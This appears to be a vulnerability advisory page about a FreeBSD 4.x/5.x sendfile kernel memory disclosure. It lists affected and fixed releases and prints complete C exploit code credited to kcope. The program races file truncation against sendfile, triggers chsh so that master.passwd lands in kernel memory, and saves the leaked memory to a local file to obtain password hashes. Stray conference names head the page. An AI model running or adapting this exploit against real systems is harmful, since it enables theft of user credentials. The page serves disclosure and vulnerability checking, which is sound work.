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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

The FreeBSD sendfile system call allows a server application (such as an HTTP or FTP server) to transmit the contents of a file over a network connection without first copying it to application memory.

The FreeBSD kernel does not clean memory parts before being used with sendfile, allowing users to retrieve random information about the system, the following exploit code can be used to determine whether your system is vulnerable or not.

Credit:
The information has been provided by kcope.

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Vulnerable Systems:
* FreeBSD 4 series
* FreeBSD 5 series prior to 5.4-RELEASE

Immune Systems:
* FreeBSD RELENG_5, 5.4-STABLE
* FreeBSD RELENG_5_4, 5.4-RELEASE
* FreeBSD RELENG_5_3, 5.3-RELEASE-p7
* FreeBSD RELENG_4, 4.11-STABLE
* FreeBSD RELENG_4_11, 4.11-RELEASE-p2
* FreeBSD RELENG_4_10, 4.10-RELEASE-p7
* FreeBSD RELENG_4_8, 4.8-RELEASE-p29

Exploit:
/*
** FreeBSD master.passwd disclosure exploit
** by kcope in 2005, kingcope[at]gmx.net
** thanks to revoguard
** just compile and execute .. look into the kmem file
** it contains the master.passwd
** tested on unpatched FreeBSD 4.11-RELEASE
** advisory: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:02.sendfile.asc
** +++KEEP PRIV8+++
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <stdio.h>
#include <fcntl.h>
#include <netinet/in.h>

#define BUF_SIZ 4096

void dolisten() {
       int s,c;
       struct sockaddr_in addr;
       struct sockaddr_in cli;
       socklen_t cli_size;
       char buf[BUF_SIZ];
       FILE *f=fopen("kmem", "w");

       addr.sin_addr.s_addr = INADDR_ANY;
       addr.sin_port = htons(31337);
       addr.sin_family = AF_INET;

       s = socket(PF_INET, SOCK_STREAM, 0);
       if (bind(s, (struct sockaddr*) &addr, sizeof(addr)) == -1)
       {
               perror("bind() failed");
               exit(1);
       }

       listen(s, 3);

       c = accept(s, (struct sockaddr*) &cli, &cli_size);

       while (recv(c, buf, sizeof(buf) - 1, 0) > 0) {
               fwrite(buf, sizeof(buf), 1, f);
       }

}

int main() {
       int input_fd,fd,s,k;
       struct stat file_info;
       off_t offset = 0;
               FILE *f;
       int i=0;
       struct sockaddr_in addr;
               char st[]="A";

               f=fopen("sendfile1", "w");
               for (i=0; i!=64000000; i++) {
                       fwrite(st, 1, 1, f);
               }
               fclose(f);

       input_fd = open ("sendfile1", O_RDWR);
       fstat (input_fd, &file_info);

       if (fork() != 0) {
       sleep(2);
               s = socket(PF_INET, SOCK_STREAM, 0);

               addr.sin_addr.s_addr = INADDR_ANY;
               addr.sin_port = htons(31337);
               addr.sin_family = AF_INET;

               if (connect(s, (struct sockaddr*) &addr, sizeof(addr)) == -1)
               {
                       perror("connect() failed");
                       return 2;
               }

               if (fork() != 0) {
               if (sendfile (input_fd, s, offset, 64000000, NULL, NULL, 0) == -1) {
                       perror("sendfile()");
               return -1;
               }
               } else {
                       f=fopen("sendfile1", "w");
                       fclose(f);
                       for (k=0;k!=10;k++)
                               system("/usr/bin/chsh -s /bin/sh");
                       wait();
               }
               } else {
                       dolisten();
                       wait();
               }
       return 0;
}

/* EoF */

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